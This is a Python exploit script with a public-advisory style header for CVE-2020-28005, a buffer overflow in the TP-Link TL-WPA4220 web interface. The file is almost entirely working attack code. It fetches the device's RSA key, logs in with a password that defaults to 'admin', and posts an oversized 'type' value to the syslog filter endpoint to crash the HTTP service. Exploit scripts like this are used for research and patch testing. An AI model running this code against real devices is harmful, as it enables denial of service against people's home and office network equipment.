tplink-wpa4220-dos-exploit.py

#!/bin/env python3

# Exploit Title: TP-Link WPA4220 DoS Exploit (Buffer Overflow)
# Date: 2020-11-17
# Exploit Author: Oriol Castejon @foolisses
# Vendor Homepage: https://www.tp-link.com
# Software Link: https://www.tp-link.com/en/support/download/tl-wpa4220/v4/#Firmware
# Version: TL-WPA4220(EU)_V4_190326
# CVE : CVE-2020-28005

import argparse
import base64
import hashlib
import json
import requests
from Crypto.Cipher import AES

# These parameters are set by the browser, so we can decide their value
key = b'1595026205026583'
iv = b'1595026205026193'

def rsa_encrypt(plaintext):
    encrypted = ''
    for i in range(len(plaintext) // 64 + 1):
        block = plaintext[i * 64:(i + 1) * 64]
        encoded = [format(ord(c), 'x') for c in block] + ['00'] * (64 - len(block))
        encoded = int("".join(encoded), 16)
        encrypted_block = pow(encoded, e, n)
        encrypted += format(encrypted_block, 'x')
    if len(encrypted) % 2 == 1:
        encrypted = '0' + encrypted
    return encrypted


def aes_encrypt(plaintext):
    padded = pad(plaintext)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(padded.encode())
    return base64.b64encode(encrypted).decode('utf-8')


def aes_decrypt(encrypted):
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(base64.b64decode(encrypted))
    return plaintext[:-ord(plaintext[len(plaintext) - 1:])].decode('utf-8')


def pad(plaintext):
    pad = AES.block_size - len(plaintext) % AES.block_size
    return plaintext + pad * chr(pad)


def get_rsa_pubkey_seq(target):
    r = requests.post("http://{}/login?form=auth".format(target), data={"operation": "read"})
    r = r.json()
    if not r.get("success"):
        print("[!] Something went wrong, couldn't retrieve RSA public key")
        return False, False, False
    n = int(r["data"]["key"][0], 16)
    e = int(r["data"]["key"][1], 16)
    seq = int(r["data"]["seq"])
    return n, e, seq

def send_encrypted_request(target, path, plaintext_data, password, is_login=False):
    url = "http://{}{}".format(target, path)
    encrypted_data = aes_encrypt(plaintext_data)
    m = hashlib.md5()
    m.update(password.encode('utf-8'))
    password_hash = m.hexdigest()
    if is_login:
        sign = rsa_encrypt("k={}&i={}&h={}&s={}".format(key.decode('utf-8'), iv.decode('utf-8'), password_hash,
                                                        seq + len(encrypted_data)))
    else:
        sign = rsa_encrypt("h={}&s={}".format(password_hash, seq + len(encrypted_data)))
    data = {
        "sign": sign,
        "data": encrypted_data
    }

    headers = {
        "Host": target,
        "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
        "Accept": "application/json, text/javascript, */*; q=0.01",
        "Accept-Encoding": "gzip, deflate",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Origin": "http://{}".format(target),
        "Connection": "close",
        "Referer": "http://{}/".format(target),
        "Cookie": "Authorization="
    }

    r = requests.post(url, data=data, headers=headers)
    try:
        encrypted_data = r.json().get("data")
        response = aes_decrypt(encrypted_data)
        if is_login and not json.loads(response).get("success"):
            return False
    except Exception as ex:
        print("There was some error, could not decrypt response. Error: {}".format(ex))
        return False
    return True


def login(target, password):
    print("[+] Logging in with password: {}".format(password))
    if send_encrypted_request(target, "/login?form=login", "operation=login&password={}".format(rsa_encrypt(password)),
                              password, True):
        print("[+] Login executed successfully")
    else:
        print("[!] Login failed!")
        return False
    return True


def exploit(target, password):
    print("[+] Sending exploit. This will take a some seconds, please be patient!")
    send_encrypted_request(target, "/admin/syslog?form=filter", "operation=write&type={}".format("A" * 64), password)
    print("[+] Exploit has been sent. HTTP service should have crashed.")


if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='DoS exploit for the TL-WPA4220 (Buffer Overflow)')
    parser.add_argument('target', type=str, metavar='target', help='IP of the TL-WPA4220 device')
    parser.add_argument('-p', '--password', type=str, metavar='password',
                        help='Password of the TL-WPA4220 Web interface (default: admin)', default='admin')
    args = parser.parse_args()
    print("[+] Getting RSA public key of the device")
    n, e, seq = get_rsa_pubkey_seq(args.target)
    if n and e and seq:
        print("[+] RSA public key correctly obtained")
        if login(args.target, args.password):
            exploit(args.target, args.password)